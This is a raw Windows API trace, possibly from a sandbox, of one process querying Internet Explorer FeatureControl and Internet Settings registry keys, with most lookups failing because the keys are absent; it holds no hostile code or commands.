09:13:11,551	972	RegOpenKeyExW	Handle => 0x000001a0 Registry => 0x80000002 SubKey => Software\Policies\Microsoft\Windows\CurrentVersion\Internet Settings	SUCCESS	0x00000000
09:13:11,561	972	RegQueryValueExW	Handle => 0x000001a0 DataLength => 4 ValueName => Security_HKLM_only Type => 521884	FAILURE	0x00000002
09:13:11,561	972	RegCloseKey	Handle => 0x000001a0	SUCCESS	0x00000000
09:13:11,561	972	RegOpenKeyExW	Handle => 0x00000000 Registry => 0x80000002 SubKey => Software\Policies\Microsoft\Internet Explorer\Main\FeatureControl	FAILURE	0x00000002
09:13:11,561	972	RegOpenKeyExW	Handle => 0x00000000 Registry => 0x80000001 SubKey => Software\Policies\Microsoft\Internet Explorer\Main\FeatureControl	FAILURE	0x00000002
09:13:11,561	972	RegOpenKeyExW	Handle => 0x000001a0 Registry => 0x80000002 SubKey => Software\Microsoft\Internet Explorer\Main\FeatureControl	SUCCESS	0x00000000
09:13:11,561	972	RegOpenKeyExW	Handle => 0x00000000 Registry => 0x80000001 SubKey => Software\Microsoft\Internet Explorer\Main\FeatureControl	FAILURE	0x00000002
09:13:11,561	972	RegOpenKeyExW	Handle => 0x00000000 Registry => 0x000001a0 SubKey => FEATURE_AUTOPROXY_CACHE_ANAME_KB921400	FAILURE	0x00000002
09:13:11,571	972	RegCloseKey	Handle => 0x00000000	FAILURE	0x00000006	1 time
09:13:11,571	972	RegCloseKey	Handle => 0x000001a0	SUCCESS	0x00000000
09:13:11,571	972	RegCloseKey	Handle => 0x00000000	FAILURE	0x00000006
09:13:11,571	972	RegOpenKeyExA	Handle => 0x00000000 Registry => 0x80000001 SubKey => SOFTWARE\Policies\Microsoft\Windows\CurrentVersion\Internet Settings	FAILURE	0x00000002	2 times
09:13:11,571	972	RegOpenKeyExW	Handle => 0x000001a0 Registry => 0x80000002 SubKey => Software\Policies\Microsoft\Windows\CurrentVersion\Internet Settings	SUCCESS	0x00000000
09:13:11,581	972	RegQueryValueExW	Handle => 0x000001a0 DataLength => 4 ValueName => Security_HKLM_only Type => 521884	FAILURE	0x00000002
09:13:11,581	972	RegCloseKey	Handle => 0x000001a0	SUCCESS	0x00000000
09:13:11,581	972	RegOpenKeyExW	Handle => 0x00000000 Registry => 0x80000002 SubKey => Software\Policies\Microsoft\Internet Explorer\Main\FeatureControl	FAILURE	0x00000002
09:13:11,581	972	RegOpenKeyExW	Handle => 0x00000000 Registry => 0x80000001 SubKey => Software\Policies\Microsoft\Internet Explorer\Main\FeatureControl	FAILURE	0x00000002
09:13:11,581	972	RegOpenKeyExW	Handle => 0x000001a0 Registry => 0x80000002 SubKey => Software\Microsoft\Internet Explorer\Main\FeatureControl	SUCCESS	0x00000000
09:13:11,581	972	RegOpenKeyExW	Handle => 0x00000000 Registry => 0x80000001 SubKey => Software\Microsoft\Internet Explorer\Main\FeatureControl	FAILURE	0x00000002
09:13:11,581	972	RegOpenKeyExW	Handle => 0x00000000 Registry => 0x000001a0 SubKey => FEATURE_TEMPORARYFILES_FOR_NOCACHE_840387	FAILURE	0x00000002
09:13:11,581	972	RegCloseKey	Handle => 0x00000000	FAILURE	0x00000006	1 time
09:13:11,581	972	RegCloseKey	Handle => 0x000001a0	SUCCESS	0x00000000
09:13:11,581	972	RegCloseKey	Handle => 0x00000000	FAILURE	0x00000006
09:13:11,581	972	RegOpenKeyExW	Handle => 0x000001a0 Registry => 0x80000002 SubKey => Software\Policies\Microsoft\Windows\CurrentVersion\Internet Settings	SUCCESS	0x00000000
09:13:11,581	972	RegQueryValueExW	Handle => 0x000001a0 DataLength => 4 ValueName => Security_HKLM_only Type => 521884	FAILURE	0x00000002
09:13:11,581	972	RegCloseKey	Handle => 0x000001a0	SUCCESS	0x00000000
09:13:11,581	972	RegOpenKeyExW	Handle => 0x00000000 Registry => 0x80000002 SubKey => Software\Policies\Microsoft\Internet Explorer\Main\FeatureControl	FAILURE	0x00000002
09:13:11,581	972	RegOpenKeyExW	Handle => 0x00000000 Registry => 0x80000001 SubKey => Software\Policies\Microsoft\Internet Explorer\Main\FeatureControl	FAILURE	0x00000002
09:13:11,581	972	RegOpenKeyExW	Handle => 0x000001a0 Registry => 0x80000002 SubKey => Software\Microsoft\Internet Explorer\Main\FeatureControl	SUCCESS	0x00000000
09:13:11,581	972	RegOpenKeyExW	Handle => 0x00000000 Registry => 0x80000001 SubKey => Software\Microsoft\Internet Explorer\Main\FeatureControl	FAILURE	0x00000002
09:13:11,581	972	RegOpenKeyExW	Handle => 0x00000000 Registry => 0x000001a0 SubKey => FEATURE_TEMPORARYFILES_FOR_NOCACHE_840386	FAILURE	0x00000002
09:13:11,581	972	RegCloseKey	Handle => 0x00000000	FAILURE	0x00000006	1 time
09:13:11,581	972	RegCloseKey	Handle => 0x000001a0	SUCCESS	0x00000000
09:13:11,581	972	RegCloseKey	Handle => 0x00000000	FAILURE	0x00000006
09:13:11,581	972	RegOpenKeyExW	Handle => 0x000001a0 Registry => 0x80000002 SubKey => Software\Policies\Microsoft\Windows\CurrentVersion\Internet Settings	SUCCESS	0x00000000
09:13:11,581	972	RegQueryValueExW	Handle => 0x000001a0 DataLength => 4 ValueName => Security_HKLM_only Type => 521880	FAILURE	0x00000002
09:13:11,581	972	RegCloseKey	Handle => 0x000001a0	SUCCESS	0x00000000
09:13:11,581	972	RegOpenKeyExW	Handle => 0x00000000 Registry => 0x80000002 SubKey => Software\Policies\Microsoft\Internet Explorer\Main\FeatureControl	FAILURE	0x00000002
09:13:11,591	972	RegOpenKeyExW	Handle => 0x00000000 Registry => 0x80000001 SubKey => Software\Policies\Microsoft\Internet Explorer\Main\FeatureControl	FAILURE	0x00000002
09:13:11,591	972	RegOpenKeyExW	Handle => 0x000001a0 Registry => 0x80000002 SubKey => Software\Microsoft\Internet Explorer\Main\FeatureControl	SUCCESS	0x00000000
09:13:11,591	972	RegOpenKeyExW	Handle => 0x00000000 Registry => 0x80000001 SubKey => Software\Microsoft\Internet Explorer\Main\FeatureControl	FAILURE	0x00000002
09:13:11,591	972	RegOpenKeyExW	Handle => 0x00000000 Registry => 0x000001a0 SubKey => RETRY_HEADERONLYPOST_ONCONNECTIONRESET	FAILURE	0x00000002
09:13:11,591	972	RegCloseKey	Handle => 0x00000000	FAILURE	0x00000006	1 time
09:13:11,591	972	RegCloseKey	Handle => 0x000001a0	SUCCESS	0x00000000
09:13:11,591	972	RegCloseKey	Handle => 0x00000000	FAILURE	0x00000006
09:13:11,591	972	RegOpenKeyExW	Handle => 0x000001a0 Registry => 0x80000002 SubKey => Software\Policies\Microsoft\Windows\CurrentVersion\Internet Settings	SUCCESS	0x00000000
09:13:11,591	972	RegQueryValueExW	Handle => 0x000001a0 DataLength => 4 ValueName => Security_HKLM_only Type => 521884	FAILURE	0x00000002
09:13:11,591	972	RegCloseKey	Handle => 0x000001a0	SUCCESS	0x00000000
09:13:11,591	972	RegOpenKeyExW	Handle => 0x00000000 Registry => 0x80000002 SubKey => Software\Policies\Microsoft\Internet Explorer\Main\FeatureControl	FAILURE	0x00000002
09:13:11,591	972	RegOpenKeyExW	Handle => 0x00000000 Registry => 0x80000001 SubKey => Software\Policies\Microsoft\Internet Explorer\Main\FeatureControl	FAILURE	0x00000002
09:13:11,591	972	RegOpenKeyExW	Handle => 0x000001a0 Registry => 0x80000002 SubKey => Software\Microsoft\Internet Explorer\Main\FeatureControl	SUCCESS	0x00000000
09:13:11,591	972	RegOpenKeyExW	Handle => 0x00000000 Registry => 0x80000001 SubKey => Software\Microsoft\Internet Explorer\Main\FeatureControl	FAILURE	0x00000002
09:13:11,591	972	RegOpenKeyExW	Handle => 0x00000000 Registry => 0x000001a0 SubKey => FEATURE_CHUNK_TIMEOUT_KB914453	FAILURE	0x00000002
09:13:11,591	972	RegCloseKey	Handle => 0x00000000	FAILURE	0x00000006	1 time
09:13:11,591	972	RegCloseKey	Handle => 0x000001a0	SUCCESS	0x00000000
09:13:11,591	972	RegCloseKey	Handle => 0x00000000	FAILURE	0x00000006
09:13:11,591	972	RegOpenKeyExW	Handle => 0x000001a0 Registry => 0x80000002 SubKey => Software\Policies\Microsoft\Windows\CurrentVersion\Internet Settings	SUCCESS	0x00000000
09:13:11,591	972	RegQueryValueExW	Handle => 0x000001a0 DataLength => 4 ValueName => Security_HKLM_only Type => 521884	FAILURE	0x00000002
09:13:11,591	972	RegCloseKey	Handle => 0x000001a0	SUCCESS	0x00000000
09:13:11,591	972	RegOpenKeyExW	Handle => 0x00000000 Registry => 0x80000002 SubKey => Software\Policies\Microsoft\Internet Explorer\Main\FeatureControl	FAILURE	0x00000002
09:13:11,591	972	RegOpenKeyExW	Handle => 0x00000000 Registry => 0x80000001 SubKey => Software\Policies\Microsoft\Internet Explorer\Main\FeatureControl	FAILURE	0x00000002
09:13:11,591	972	RegOpenKeyExW	Handle => 0x000001a0 Registry => 0x80000002 SubKey => Software\Microsoft\Internet Explorer\Main\FeatureControl	SUCCESS	0x00000000
09:13:11,591	972	RegOpenKeyExW	Handle => 0x00000000 Registry => 0x80000001 SubKey => Software\Microsoft\Internet Explorer\Main\FeatureControl	FAILURE	0x00000002
09:13:11,591	972	RegOpenKeyExW	Handle => 0x00000000 Registry => 0x000001a0 SubKey => FEATURE_CERT_TRUST_VERIFIED_KB936882	FAILURE	0x00000002
09:13:11,591	972	RegCloseKey	Handle => 0x00000000	FAILURE	0x00000006	1 time
09:13:11,591	972	RegCloseKey	Handle => 0x000001a0	SUCCESS	0x00000000
09:13:11,591	972	RegCloseKey	Handle => 0x00000000	FAILURE	0x00000006
09:13:11,591	972	RegOpenKeyExA	Handle => 0x00000000 Registry => 0x80000001 SubKey => SOFTWARE\Policies\Microsoft\Windows\CurrentVersion\Internet Settings	FAILURE	0x00000002
09:13:11,591	972	RegOpenKeyExA	Handle => 0x000001a0 Registry => 0x80000002 SubKey => SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings	SUCCESS	0x00000000
09:13:11,591	972	RegQueryValueExA	Handle => 0x000001a0 DataLength => 4 ValueName => DisableWorkerThreadHibernation Type => 416	FAILURE	0x00000002
09:13:11,591	972	RegCloseKey	Handle => 0x000001a0	SUCCESS	0x00000000
09:13:11,591	972	RegQueryValueExA	Handle => 0x00000084 DataLength => 4 ValueName => DisableWorkerThreadHibernation Type => 132	FAILURE	0x00000002
09:13:11,591	972	RegQueryValueExA	Handle => 0x00000084 DataLength => 4 ValueName => DisableReadRange Type => 132	FAILURE	0x00000002
09:13:11,591	972	RegQueryValueExA	Handle => 0x00000084 DataLength => 4 ValueName => SocketSendBufferLength Type => 132	FAILURE	0x00000002
09:13:11,591	972	RegQueryValueExA	Handle => 0x00000084 DataLength => 4 ValueName => SocketReceiveBufferLength Type => 132	FAILURE	0x00000002
09:13:11,591	972	RegQueryValueExA	Handle => 0x00000084 DataLength => 4 ValueName => KeepAliveTimeout Type => 132	FAILURE	0x00000002
09:13:11,591	972	RegQueryValueExA	Handle => 0x00000084 DataLength => 4 ValueName => MaxHttpRedirects Type => 132	FAILURE	0x00000002
09:13:11,591	972	RegQueryValueExA	Handle => 0x00000084 DataLength => 4 ValueName => MaxConnectionsPerServer Type => 132	FAILURE	0x00000002
09:13:11,591	972	RegQueryValueExA	Handle => 0x00000084 DataLength => 4 ValueName => MaxConnectionsPer1_0Server Type => 132	FAILURE	0x00000002
09:13:11,591	972	RegQueryValueExA	Handle => 0x00000084 DataLength => 4 ValueName => ServerInfoTimeout Type => 132	FAILURE	0x00000002
09:13:11,591	972	RegQueryValueExA	Handle => 0x00000084 DataLength => 4 ValueName => ReceiveTimeOut Type => 132	FAILURE	0x00000002
09:13:11,591	972	RegQueryValueExA	Handle => 0x00000084 DataLength => 4 ValueName => DisableNTLMPreAuth Type => 132	FAILURE	0x00000002
09:13:11,591	972	RegQueryValueExA	Handle => 0x00000084 DataLength => 4 ValueName => ScavengeCacheLowerBound Type => 132	FAILURE	0x00000002
09:13:11,591	972	RegQueryValueExA	Handle => 0x00000084 DataLength => 4 ValueName => CertCacheNoValidate Type => 132	FAILURE	0x00000002
09:13:11,591	972	RegOpenKeyExA	Handle => 0x000001a0 Registry => 0x80000001 SubKey => SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache	SUCCESS	0x00000000
09:13:11,591	972	RegQueryValueExA	Handle => 0x000001a0 DataLength => 4 ValueName => ScavengeCacheFileLifeTime Type => 416	FAILURE	0x00000002
09:13:11,591	972	RegCloseKey	Handle => 0x000001a0	SUCCESS	0x00000000
09:13:11,591	972	RegOpenKeyExA	Handle => 0x000001a0 Registry => 0x80000002 SubKey => SOFTWARE\Policies\Microsoft\Windows\CurrentVersion\Internet Settings	SUCCESS	0x00000000
09:13:11,591	972	RegQueryValueExA	Handle => 0x000001a0 DataLength => 4 ValueName => Security_HKLM_only Type => 416	FAILURE	0x00000002
09:13:11,591	972	RegCloseKey	Handle => 0x000001a0	SUCCESS	0x00000000
09:13:11,591	972	RegOpenKeyExA	Handle => 0x00000000 Registry => 0x80000002 SubKey => SOFTWARE\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache	FAILURE	0x00000002
09:13:11,591	972	RegOpenKeyExA	Handle => 0x00000000 Registry => 0x80000001 SubKey => SOFTWARE\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache	FAILURE	0x00000002
09:13:11,591	972	RegOpenKeyExA	Handle => 0x000001a0 Registry => 0x80000002 SubKey => SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache	SUCCESS	0x00000000
09:13:11,591	972	RegOpenKeyExA	Handle => 0x0000019c Registry => 0x80000001 SubKey => SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache	SUCCESS	0x00000000
09:13:11,591	972	RegQueryValueExA	Handle => 0x0000019c DataLength => 4 ValueName => ScavengeCacheFileLimit Type => 412	FAILURE	0x00000002
09:13:11,591	972	RegQueryValueExA	Handle => 0x000001a0 DataLength => 4 ValueName => ScavengeCacheFileLimit Type => 416	FAILURE	0x00000002
09:13:11,591	972	RegCloseKey	Handle => 0x00000000	FAILURE	0x00000006	1 time
09:13:11,591	972	RegCloseKey	Handle => 0x000001a0	SUCCESS	0x00000000
09:13:11,591	972	RegCloseKey	Handle => 0x0000019c	SUCCESS	0x00000000
09:13:11,591	972	RegOpenKeyExW	Handle => 0x0000019c Registry => 0x80000002 SubKey => Software\Policies\Microsoft\Windows\CurrentVersion\Internet Settings	SUCCESS	0x00000000
09:13:11,591	972	RegQueryValueExW	Handle => 0x0000019c DataLength => 4 ValueName => Security_HKLM_only Type => 521884	FAILURE	0x00000002
09:13:11,591	972	RegCloseKey	Handle => 0x0000019c	SUCCESS	0x00000000
09:13:11,601	972	RegOpenKeyExW	Handle => 0x00000000 Registry => 0x80000002 SubKey => Software\Policies\Microsoft\Internet Explorer\Main\FeatureControl	FAILURE	0x00000002
09:13:11,601	972	RegOpenKeyExW	Handle => 0x00000000 Registry => 0x80000001 SubKey => Software\Policies\Microsoft\Internet Explorer\Main\FeatureControl	FAILURE	0x00000002
09:13:11,601	972	RegOpenKeyExW	Handle => 0x0000019c Registry => 0x80000002 SubKey => Software\Microsoft\Internet Explorer\Main\FeatureControl	SUCCESS	0x00000000
09:13:11,601	972	RegOpenKeyExW	Handle => 0x00000000 Registry => 0x80000001 SubKey => Software\Microsoft\Internet Explorer\Main\FeatureControl	FAILURE	0x00000002
09:13:11,601	972	RegOpenKeyExW	Handle => 0x00000000 Registry => 0x0000019c SubKey => FEATURE_BUFFERBREAKING_818408	FAILURE	0x00000002
09:13:11,601	972	RegCloseKey	Handle => 0x00000000	FAILURE	0x00000006	1 time
09:13:11,601	972	RegCloseKey	Handle => 0x0000019c	SUCCESS	0x00000000
09:13:11,601	972	RegCloseKey	Handle => 0x00000000	FAILURE	0x00000006
09:13:11,601	972	RegOpenKeyExW	Handle => 0x0000019c Registry => 0x80000002 SubKey => Software\Policies\Microsoft\Windows\CurrentVersion\Internet Settings	SUCCESS	0x00000000
09:13:11,601	972	RegQueryValueExW	Handle => 0x0000019c DataLength => 4 ValueName => Security_HKLM_only Type => 521884	FAILURE	0x00000002
09:13:11,601	972	RegCloseKey	Handle => 0x0000019c	SUCCESS	0x00000000
09:13:11,601	972	RegOpenKeyExW	Handle => 0x00000000 Registry => 0x80000002 SubKey => Software\Policies\Microsoft\Internet Explorer\Main\FeatureControl	FAILURE	0x00000002
09:13:11,601	972	RegOpenKeyExW	Handle => 0x00000000 Registry => 0x80000001 SubKey => Software\Policies\Microsoft\Internet Explorer\Main\FeatureControl	FAILURE	0x00000002
09:13:11,601	972	RegOpenKeyExW	Handle => 0x0000019c Registry => 0x80000002 SubKey => Software\Microsoft\Internet Explorer\Main\FeatureControl	SUCCESS	0x00000000
09:13:11,601	972	RegOpenKeyExW	Handle => 0x00000000 Registry => 0x80000001 SubKey => Software\Microsoft\Internet Explorer\Main\FeatureControl	FAILURE	0x00000002
09:13:11,601	972	RegOpenKeyExW	Handle => 0x00000000 Registry => 0x0000019c SubKey => FEATURE_SKIP_POST_RETRY_ON_INTERNETWRITEFILE_KB895954	FAILURE	0x00000002
09:13:11,601	972	RegCloseKey	Handle => 0x00000000	FAILURE	0x00000006	1 time
09:13:11,601	972	RegCloseKey	Handle => 0x0000019c	SUCCESS	0x00000000
09:13:11,601	972	RegCloseKey	Handle => 0x00000000	FAILURE	0x00000006
09:13:11,601	972	RegOpenKeyExW	Handle => 0x0000019c Registry => 0x80000002 SubKey => Software\Policies\Microsoft\Windows\CurrentVersion\Internet Settings	SUCCESS	0x00000000
09:13:11,601	972	RegQueryValueExW	Handle => 0x0000019c DataLength => 4 ValueName => Security_HKLM_only Type => 521884	FAILURE	0x00000002
09:13:11,601	972	RegCloseKey	Handle => 0x0000019c	SUCCESS	0x00000000
09:13:11,601	972	RegOpenKeyExW	Handle => 0x00000000 Registry => 0x80000002 SubKey => Software\Policies\Microsoft\Internet Explorer\Main\FeatureControl	FAILURE	0x00000002
09:13:11,601	972	RegOpenKeyExW	Handle => 0x00000000 Registry => 0x80000001 SubKey => Software\Policies\Microsoft\Internet Explorer\Main\FeatureControl	FAILURE	0x00000002
09:13:11,601	972	RegOpenKeyExW	Handle => 0x0000019c Registry => 0x80000002 SubKey => Software\Microsoft\Internet Explorer\Main\FeatureControl	SUCCESS	0x00000000
09:13:11,601	972	RegOpenKeyExW	Handle => 0x00000000 Registry => 0x80000001 SubKey => Software\Microsoft\Internet Explorer\Main\FeatureControl	FAILURE	0x00000002
09:13:11,601	972	RegOpenKeyExW	Handle => 0x00000000 Registry => 0x0000019c SubKey => FEATURE_ENSURE_FQDN_FOR_NEGOTIATE_KB899417	FAILURE	0x00000002
09:13:11,601	972	RegCloseKey	Handle => 0x00000000	FAILURE	0x00000006	1 time
09:13:11,601	972	RegCloseKey	Handle => 0x0000019c	SUCCESS	0x00000000
09:13:11,601	972	RegCloseKey	Handle => 0x00000000	FAILURE	0x00000006
09:13:11,601	972	RegOpenKeyExW	Handle => 0x0000019c Registry => 0x80000002 SubKey => Software\Policies\Microsoft\Windows\CurrentVersion\Internet Settings	SUCCESS	0x00000000
09:13:11,601	972	RegQueryValueExW	Handle => 0x0000019c DataLength => 4 ValueName => Security_HKLM_only Type => 521884	FAILURE	0x00000002
09:13:11,601	972	RegCloseKey	Handle => 0x0000019c	SUCCESS	0x00000000
09:13:11,601	972	RegOpenKeyExW	Handle => 0x00000000 Registry => 0x80000002 SubKey => Software\Policies\Microsoft\Internet Explorer\Main\FeatureControl	FAILURE	0x00000002
09:13:11,601	972	RegOpenKeyExW	Handle => 0x00000000 Registry => 0x80000001 SubKey => Software\Policies\Microsoft\Internet Explorer\Main\FeatureControl	FAILURE	0x00000002
09:13:11,601	972	RegOpenKeyExW	Handle => 0x0000019c Registry => 0x80000002 SubKey => Software\Microsoft\Internet Explorer\Main\FeatureControl	SUCCESS	0x00000000
09:13:11,601	972	RegOpenKeyExW	Handle => 0x00000000 Registry => 0x80000001 SubKey => Software\Microsoft\Internet Explorer\Main\FeatureControl	FAILURE	0x00000002
09:13:11,601	972	RegOpenKeyExW	Handle => 0x00000000 Registry => 0x0000019c SubKey => FEATURE_HTTP_DISABLE_NTLM_PREAUTH_IF_ABORTED_KB902409	FAILURE	0x00000002
09:13:11,601	972	RegCloseKey	Handle => 0x00000000	FAILURE	0x00000006	1 time
09:13:11,601	972	RegCloseKey	Handle => 0x0000019c	SUCCESS	0x00000000
09:13:11,601	972	RegCloseKey	Handle => 0x00000000	FAILURE	0x00000006
09:13:11,601	972	RegOpenKeyExW	Handle => 0x0000019c Registry => 0x80000002 SubKey => Software\Policies\Microsoft\Windows\CurrentVersion\Internet Settings	SUCCESS	0x00000000
09:13:11,601	972	RegQueryValueExW	Handle => 0x0000019c DataLength => 4 ValueName => Security_HKLM_only Type => 521884	FAILURE	0x00000002
09:13:11,601	972	RegCloseKey	Handle => 0x0000019c	SUCCESS	0x00000000
09:13:11,601	972	RegOpenKeyExW	Handle => 0x00000000 Registry => 0x80000002 SubKey => Software\Policies\Microsoft\Internet Explorer\Main\FeatureControl	FAILURE	0x00000002
09:13:11,601	972	RegOpenKeyExW	Handle => 0x00000000 Registry => 0x80000001 SubKey => Software\Policies\Microsoft\Internet Explorer\Main\FeatureControl	FAILURE	0x00000002
09:13:11,601	972	RegOpenKeyExW	Handle => 0x0000019c Registry => 0x80000002 SubKey => Software\Microsoft\Internet Explorer\Main\FeatureControl	SUCCESS	0x00000000
09:13:11,601	972	RegOpenKeyExW	Handle => 0x00000000 Registry => 0x80000001 SubKey => Software\Microsoft\Internet Explorer\Main\FeatureControl	FAILURE	0x00000002
09:13:11,601	972	RegOpenKeyExW	Handle => 0x00000000 Registry => 0x0000019c SubKey => FEATURE_PERMIT_CACHE_FOR_AUTHENTICATED_FTP_KB910274	FAILURE	0x00000002
09:13:11,601	972	RegCloseKey	Handle => 0x00000000	FAILURE	0x00000006	1 time
09:13:11,601	972	RegCloseKey	Handle => 0x0000019c	SUCCESS	0x00000000
09:13:11,601	972	RegCloseKey	Handle => 0x00000000	FAILURE	0x00000006
09:13:11,601	972	RegOpenKeyExW	Handle => 0x0000019c Registry => 0x80000002 SubKey => Software\Policies\Microsoft\Windows\CurrentVersion\Internet Settings	SUCCESS	0x00000000
09:13:11,601	972	RegQueryValueExW	Handle => 0x0000019c DataLength => 4 ValueName => Security_HKLM_only Type => 521884	FAILURE	0x00000002
09:13:11,601	972	RegCloseKey	Handle => 0x0000019c	SUCCESS	0x00000000
09:13:11,601	972	RegOpenKeyExW	Handle => 0x00000000 Registry => 0x80000002 SubKey => Software\Policies\Microsoft\Internet Explorer\Main\FeatureControl	FAILURE	0x00000002
09:13:11,601	972	RegOpenKeyExW	Handle => 0x00000000 Registry => 0x80000001 SubKey => Software\Policies\Microsoft\Internet Explorer\Main\FeatureControl	FAILURE	0x00000002
09:13:11,601	972	RegOpenKeyExW	Handle => 0x0000019c Registry => 0x80000002 SubKey => Software\Microsoft\Internet Explorer\Main\FeatureControl	SUCCESS	0x00000000
09:13:11,601	972	RegOpenKeyExW	Handle => 0x00000000 Registry => 0x80000001 SubKey => Software\Microsoft\Internet Explorer\Main\FeatureControl	FAILURE	0x00000002
09:13:11,601	972	RegOpenKeyExW	Handle => 0x00000000 Registry => 0x0000019c SubKey => FEATURE_WPAD_STORE_URL_AS_FQDN_KB903926	FAILURE	0x00000002
09:13:11,601	972	RegCloseKey	Handle => 0x00000000	FAILURE	0x00000006	1 time
09:13:11,601	972	RegCloseKey	Handle => 0x0000019c	SUCCESS	0x00000000
09:13:11,601	972	RegCloseKey	Handle => 0x00000000	FAILURE	0x00000006
09:13:11,601	972	RegOpenKeyExW	Handle => 0x0000019c Registry => 0x80000002 SubKey => Software\Policies\Microsoft\Windows\CurrentVersion\Internet Settings	SUCCESS	0x00000000
09:13:11,601	972	RegQueryValueExW	Handle => 0x0000019c DataLength => 4 ValueName => Security_HKLM_only Type => 521884	FAILURE	0x00000002
09:13:11,601	972	RegCloseKey	Handle => 0x0000019c	SUCCESS	0x00000000
09:13:11,601	972	RegOpenKeyExW	Handle => 0x00000000 Registry => 0x80000002 SubKey => Software\Policies\Microsoft\Internet Explorer\Main\FeatureControl	FAILURE	0x00000002
09:13:11,601	972	RegOpenKeyExW	Handle => 0x00000000 Registry => 0x80000001 SubKey => Software\Policies\Microsoft\Internet Explorer\Main\FeatureControl	FAILURE	0x00000002
09:13:11,601	972	RegOpenKeyExW	Handle => 0x0000019c Registry => 0x80000002 SubKey => Software\Microsoft\Internet Explorer\Main\FeatureControl	SUCCESS	0x00000000
09:13:11,601	972	RegOpenKeyExW	Handle => 0x00000000 Registry => 0x80000001 SubKey => Software\Microsoft\Internet Explorer\Main\FeatureControl	FAILURE	0x00000002
09:13:11,611	972	RegOpenKeyExW	Handle => 0x00000000 Registry => 0x0000019c SubKey => FEATURE_USE_CNAME_FOR_SPN_KB911149	FAILURE	0x00000002
09:13:11,611	972	RegCloseKey	Handle => 0x00000000	FAILURE	0x00000006	1 time
09:13:11,611	972	RegCloseKey	Handle => 0x0000019c	SUCCESS	0x00000000
09:13:11,611	972	RegCloseKey	Handle => 0x00000000	FAILURE	0x00000006
09:13:11,611	972	RegOpenKeyExW	Handle => 0x0000019c Registry => 0x80000002 SubKey => Software\Policies\Microsoft\Windows\CurrentVersion\Internet Settings	SUCCESS	0x00000000
09:13:11,611	972	RegQueryValueExW	Handle => 0x0000019c DataLength => 4 ValueName => Security_HKLM_only Type => 521884	FAILURE	0x00000002
09:13:11,611	972	RegCloseKey	Handle => 0x0000019c	SUCCESS	0x00000000
09:13:11,611	972	RegOpenKeyExW	Handle => 0x00000000 Registry => 0x80000002 SubKey => Software\Policies\Microsoft\Internet Explorer\Main\FeatureControl	FAILURE	0x00000002
09:13:11,611	972	RegOpenKeyExW	Handle => 0x00000000 Registry => 0x80000001 SubKey => Software\Policies\Microsoft\Internet Explorer\Main\FeatureControl	FAILURE	0x00000002
09:13:11,611	972	RegOpenKeyExW	Handle => 0x0000019c Registry => 0x80000002 SubKey => Software\Microsoft\Internet Explorer\Main\FeatureControl	SUCCESS	0x00000000
09:13:11,611	972	RegOpenKeyExW	Handle => 0x00000000 Registry => 0x80000001 SubKey => Software\Microsoft\Internet Explorer\Main\FeatureControl	FAILURE	0x00000002
09:13:11,611	972	RegOpenKeyExW	Handle => 0x00000000 Registry => 0x0000019c SubKey => FEATURE_KEEP_CACHE_INDEX_OPEN_KB899342	FAILURE	0x00000002
09:13:11,611	972	RegCloseKey	Handle => 0x00000000	FAILURE	0x00000006	1 time
09:13:11,611	972	RegCloseKey	Handle => 0x0000019c	SUCCESS	0x00000000
09:13:11,611	972	RegCloseKey	Handle => 0x00000000	FAILURE	0x00000006
09:13:11,611	972	RegOpenKeyExW	Handle => 0x0000019c Registry => 0x80000002 SubKey => Software\Policies\Microsoft\Windows\CurrentVersion\Internet Settings	SUCCESS	0x00000000
09:13:11,611	972	RegQueryValueExW	Handle => 0x0000019c DataLength => 4 ValueName => Security_HKLM_only Type => 521884	FAILURE	0x00000002
09:13:11,611	972	RegCloseKey	Handle => 0x0000019c	SUCCESS	0x00000000
09:13:11,611	972	RegOpenKeyExW	Handle => 0x00000000 Registry => 0x80000002 SubKey => Software\Policies\Microsoft\Internet Explorer\Main\FeatureControl	FAILURE	0x00000002
09:13:11,611	972	RegOpenKeyExW	Handle => 0x00000000 Registry => 0x80000001 SubKey => Software\Policies\Microsoft\Internet Explorer\Main\FeatureControl	FAILURE	0x00000002
09:13:11,611	972	RegOpenKeyExW	Handle => 0x0000019c Registry => 0x80000002 SubKey => Software\Microsoft\Internet Explorer\Main\FeatureControl	SUCCESS	0x00000000
09:13:11,611	972	RegOpenKeyExW	Handle => 0x00000000 Registry => 0x80000001 SubKey => Software\Microsoft\Internet Explorer\Main\FeatureControl	FAILURE	0x00000002
09:13:11,611	972	RegOpenKeyExW	Handle => 0x00000000 Registry => 0x0000019c SubKey => FEATURE_WAIT_TIME_THREAD_TERMINATE_KB886801	FAILURE	0x00000002
09:13:11,611	972	RegCloseKey	Handle => 0x00000000	FAILURE	0x00000006	1 time
09:13:11,611	972	RegCloseKey	Handle => 0x0000019c	SUCCESS	0x00000000
09:13:11,611	972	RegCloseKey	Handle => 0x00000000	FAILURE	0x00000006
09:13:11,611	972	RegOpenKeyExW	Handle => 0x0000019c Registry => 0x80000002 SubKey => Software\Policies\Microsoft\Windows\CurrentVersion\Internet Settings	SUCCESS	0x00000000
09:13:11,611	972	RegQueryValueExW	Handle => 0x0000019c DataLength => 4 ValueName => Security_HKLM_only Type => 521884	FAILURE	0x00000002
09:13:11,611	972	RegCloseKey	Handle => 0x0000019c	SUCCESS	0x00000000
09:13:11,611	972	RegOpenKeyExW	Handle => 0x00000000 Registry => 0x80000002 SubKey => Software\Policies\Microsoft\Internet Explorer\Main\FeatureControl	FAILURE	0x00000002
09:13:11,611	972	RegOpenKeyExW	Handle => 0x00000000 Registry => 0x80000001 SubKey => Software\Policies\Microsoft\Internet Explorer\Main\FeatureControl	FAILURE	0x00000002
09:13:11,611	972	RegOpenKeyExW	Handle => 0x0000019c Registry => 0x80000002 SubKey => Software\Microsoft\Internet Explorer\Main\FeatureControl	SUCCESS	0x00000000
09:13:11,611	972	RegOpenKeyExW	Handle => 0x00000000 Registry => 0x80000001 SubKey => Software\Microsoft\Internet Explorer\Main\FeatureControl	FAILURE	0x00000002
09:13:11,611	972	RegOpenKeyExW	Handle => 0x00000000 Registry => 0x0000019c SubKey => FEATURE_FIX_CHUNKED_PROXY_SCRIPT_DOWNLOAD_KB843289	FAILURE	0x00000002
